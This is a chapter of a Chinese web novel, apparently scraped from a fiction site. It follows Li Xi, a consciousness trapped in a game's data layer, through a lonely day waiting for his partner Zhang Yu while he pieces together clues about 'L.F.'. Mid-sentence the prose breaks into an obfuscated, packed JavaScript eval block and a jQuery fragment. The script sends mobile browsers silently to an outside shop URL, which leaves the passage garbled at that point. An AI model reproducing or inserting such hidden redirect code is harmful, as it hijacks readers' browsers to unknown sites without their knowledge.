文趣网 > 都市小说 > 入侵你的代码层 > 9. 一个人的荒漠
    第九天清晨六点零七分,自动维护准时启动了。

    李析已经醒了。他提前了大约十五分钟从休眠态中醒来,把自己挂在接入端口旁边,数据流维持着清明的活跃度。他昨天等到半夜才收到那条离线消息,之后睡得不好——或者说"休眠得不好",数据流始终维持在浅层,像一个人在床上翻了半夜的被子,合不上眼又醒不透。

    七分钟的维护结束后,二十秒过去。登录信号没有亮。七点半,信号没有亮。八点,没有。九点,没有。李析从端口旁边移开了,他不想再"钉"在一个地方等,那样每一秒都太清晰了。他在张驭的终端内部漫无目的地游荡了一会儿,经过技能列表、背包、成就页面——空的,没有登录信号,哪儿都不会有新的东西出现。他在成就页面又看了一眼那个"遗留权限"的灰色提示,然后离开了。

    十点。登录信号监测点还是空的。张驭昨天说的是"明天正常时间",没有说"明天我肯定来"。李析一直在想这件事——也许张驭今天的"有事"比昨天更严重,也许他查到了某个需要他亲自去处理的事情,也许他就是今天上不了线。他想了一大圈,把每个"也许"都想了一遍,然后发现自己在不断地给张驭找理由。而那个行为本身已经说明问题了。

    中午十一点左右,李析从张驭的终端里退了出来。

    银白色的光点回流到底层荒漠的地面上,重新聚拢成那个穿着灰黑斗篷的模糊人影。荒漠在他面前展开,和昨天一模一样灰白、空旷、没有边际。他坐进了平时坐的那片数据墙的阴影里,后背靠上灰白色墙面的瞬间,有一个东西从感知层的角落里浮了上来。

    张驭不在。终端里面是空的。

    过去八天里,他至少有一半的时间是在张驭的终端里度过的,能感知到另一个人行走时的步频、呼吸的节奏、心跳在遇到裂隙暴走时的瞬间加速、外套被风吹动时的微振频率。那些信号像一个持续存在的低频背景音,他习惯了它们之后就不再去留意了。现在背景音消失了,他的感知层变成了一把悬在空中的尺子,找不到量度的对象。

    他坐在那里,看了一会儿荒漠。

    灰白色,一如既往。裂隙在远处安静地裂着,红色错误代码偶尔从地面底下翻上来又沉下去,像水面下缓慢游动的鱼。头顶的倒计时还在跳,数字比八天前少了很多。他以前觉得那个数字是他唯一的参照物,现在发现不是了。张驭不在的时候,连倒计时看起来都像少了一部分分量。

    李析打开了加密备忘录。

    他不是要去翻主线线索——虽然那些也挂在那里等着他。他打开的是备忘录下方一个没有命名的区域,他之前没有刻意建过这个分区,是这几天的记录不知不觉地往那儿堆。里面记了七条东西,每一条都是张驭说过的话:

    "浪费电。"

    "明天我还是这个时间来。"

    "你标,我切。"

    "我走了。"

    "明天见。"

    "先欠着。"

    "怕你等。"

    他看着那七条记录,每一条都对应一个声音、一个语气、一个场景。"浪费电"是在通道入口说的,语气硬邦邦的,像一块被扔进房间的石头,落地的姿势很笨。"明天我还是这个时间来"是第一天张驭确认每日见面时说的,里面有一半是命令一半是承诺。"你标,我切"是第七天返程路上说的,声音平,但用词时态变了。"怕你等"是昨天傍晚说的,语速快了一点点,快到像是没来得及加固外壳就溜出来了。

    他轻声说了一句:"……都说了这么多了。"

    声音在荒漠里散了。灰白的地面把他的话吸了进去,没有回响。他看着那七条记录看了很久,然后没有删掉任何一条。他关掉备忘录的时候指尖在那句话上停了一下。

    下午,李析强迫自己把注意力从"张驭在哪"这件事上移开。他打开了主线加密面板,把所有的碎片全部摊出来,重新码了一遍。

    第三人编码碎屑("##"注释风格,指向那家外包安全公司)。张驭的旧版身份标记(签发人使用了那家公司的加密工具变种)。"L.F."缩写。张驭终端深层缓存区里的"L_f_init_2023"文件夹(创建于三年前、昨天被访问)。张驭系统底层那条"第七次"的日志("第七次,仍然没有反应。是不是我的权限……")。

    他把这五样东西按时间顺序重新排了一遍。

    三年前。"##"安全公司参与早期开发。同一时期,张驭获得旧版身份标记,签发人使用该公司加密工具。同一时期,张驭创建了"L_f_init_2023"文件夹。同一时期,张驭写了那条"第七次"的日志。四件事发生的时间窗口可能不超过三个月。三个月里,张驭同时完成了身份的获取、一个文件夹的创建、和七次失败的等待。

    李析在数据屏上画了一条线,把这四件事串在一起,然后在线的末端打了一个问号。他在"L_f_init_2023"和"L.F."之间画了一个等号,不是百分之百确定,但已经到了八九成。然后他写了一个新的假设在旁边:

    L.F.不是暗算他的黑手。是张驭在等的人。L_f_init是张驭为那个人创建的——可能是某个项目、某段关系、某个承诺的代号。"第七次,仍然没有反应"——张驭在那个冬天等某人的回应,等了七次,没有等到。然后他创建了这个文件夹,把某些东西放了进去,三年没有动过。直到昨天,他忽然回来打开了它。

    李析的视线停在那个假设上。

    如果L.F.是张驭在等的人,那人三年没有回应过张驭——那这个人和暗算李析的黑手就不可能是同一个人,除非那个人在消失三年之后突然回来搞了李析。但暗算李析的手段涉及《深渊纪元》的底层权限和运维系统,而张驭的旧版身份标记也出自同一套体系。如果L.F.是那个体系里的人,那三条线索就会收束到同一个交集点。

    他还没有足够的信息把这条线连完整。但他有了一种模糊的感觉:张驭的过去和李析的现在之间有一根线,而那根线可能比他们俩都更早地存在了。

    下午三点左右,李析坐在数据墙的阴影里,感知层放空了大半。然后他"听到"了那个声音。

    数据通道里传来了极轻微的脚步振频,步频均匀、节奏稳定,和张驭走路时一模一样。他的数据流从放空状态瞬间弹回了活跃态,速度比他任何一次主动切换都快——他几乎是弹起来的,感知层朝通道入口的方向猛扑过去。

    通道入口空无一人。

    荒漠灰白,天顶灰色。没有暗红色的刀光,没有黑色战斗服的轮廓,没有脚步声落地的微振。什么都没有。那个脚步振频是他感知层在长时间无信号状态下的自激杂音——他的数据系统在近四十个小时没有收到张驭信号的情况下,自行生成了一段"熟悉信号"来填充空白。

    李析站在那里,看着空荡荡的通道入口,灰白色的荒漠在他面前无限延伸。

    "……幻听了。"他说,声音在荒漠里显得格外轻。

    他重新坐回墙根下,把脸埋进半透明的掌心。一个工程师、一个曾经站在主控台前调试全息系统核心代码的人——他的数据感知层开始自动生成另一个人的脚步声了。这意味着"张驭"已经从外部输入变成了内部残留。他的系统已经习惯了一个人的存在,以至于当那个人缺席时,系统自己动手补了一个出来。他花了大概三分钟来消化这件事,然后把脸从掌心里抬起来。

    消化完了。但他没有否认那个事实。

    傍晚来了。荒漠里的光线不会变橙也不会变红,但李析能感觉到时间的滑过。他坐在墙根下,看着通道入口的方向,发现自己的状态在某个他自己没注意到的时刻发生了变化。他不再是在等一个人回来了。他是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930586|213624||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在想一个人。

    "等"是被动的,是"他在那儿,我在这里等着他回来"。"想"是主动的,是"他在某个我不知道的地方做着我不知道的事,而此刻我在想他"。他不知道为什么是今天。昨天他也在等,但没有这种"想"的质地。今天张驭缺席了一整天,荒漠空了一整天,他忽然在那片空旷里看到了过去八天里张驭每天放进来的东西。不是什么惊天动地的东西——是每天早上七点的上线信号、从背包里掏面包的动作、走路时均匀的步频、下线前说的"走了"。那些东西微小到单独拎出来完全不起眼,拼在一起之后构成了某种稳定的节奏。像一台机器的运转声,你习惯了就不会去听,等它停了才发现那个声音有多重要。

    李析问了自己一个问题:如果三十天到了,裂隙修完了,他从底层出去了——他会不会找张驭?

    答案几乎没有经过脑子就弹出来了,快到他甚至没有时间去"考虑"。

    会。

    他靠在墙根下,把那个答案确认了一遍。不是因为张驭能帮他查黑手,不是因为合作还没结束,不是因为欠着那个"先欠着"的承诺。是因为他想再见这个人。在"不得不见"之外的那种"想"。他把这个答案放进了备忘录旁边的那个无名单区里,和张驭说过的那七句话放在一起。

    然后他闭上眼,继续等。

    张驭最终没有出现。一整天,登录信号一次都没亮过。傍晚到晚上,李析在通道入口附近坐了很久,看着那个空无一人的入口。他的数据流平静下来了,没有再出现下午那种自激杂音。他看着头顶的倒计时跳过了又一个整点,然后把视线收回来,确认了一个事实:张驭今天没来。

    他不知道这是好事还是坏事。张驭没来,说明他遇到的事可能比李析想的更严重。但昨天傍晚张驭说过"等我弄清楚了再跟你说"——今天没来或许正是因为他"正在弄清楚"。李析选择相信这个解释。不是因为证据充分,是因为他不想往更坏的方向想。

    他没有回张驭的终端里。里面是空的,一个人回去没有意义。他留在荒漠里,靠在那片熟悉的墙根下,闭着眼感受底层空旷的寂静。

    然后接近午夜的时候,登录信号监测点闪了一下。

    李析的数据流瞬间弹回活跃态——但那不是登录信号,是一条系统层面的离线消息推送。从张驭的终端通过协议层向底层传递过来的。内容只有一行字,格式不像是游戏内聊天系统发的,更像是张驭从某个外部终端通过技术手段直接推送到底层的:

    【明天来。今天查到了。当面说。】

    李析盯着那行字看了好几秒。"今天查到了。当面说。"

    他知道李析在看吗?他不知道底层有没有离线消息接收显示,张驭只是发了,希望李析能收到。而收到的人此刻坐在荒漠里,盯着那行字,数据流在灰白色的寂静中重新亮了起来。

    "……查到了什么。"不是问句。是他在把那四个字放在舌尖上尝了一下。

    "当面说"意味着这件事不能在游戏内传、不能通过系统消息发——涉及现实信息。张驭说他查到了,张驭说当面说,张驭说"明天来"。那四个字排在一起之后产生了某种不可见但是不可否认的踏实感。

    李析把那行消息收进了加密备忘录,加了一个日期戳。然后他仰头看了看头顶的倒计时——二十二天多。明天张驭会来,带着一个答案。他不知道那个答案是什么,但他忽然发现"等一个答案"和"等一个人"在那条消息到达的瞬间变成了同一件事。

    他靠在墙根下,合上眼,准备进入休眠态。进入之前,他轻声说了一句:"……明天见。"

    然后灰白色的荒漠安静了下来。倒计时的数字还在跳,但李析的数据流安稳地沉入了浅层休眠。第九天结束了。今天没有裂隙修复,没有张驭,只有他自己、一段幻听、一个答案,和那句他对着空气说的明天见。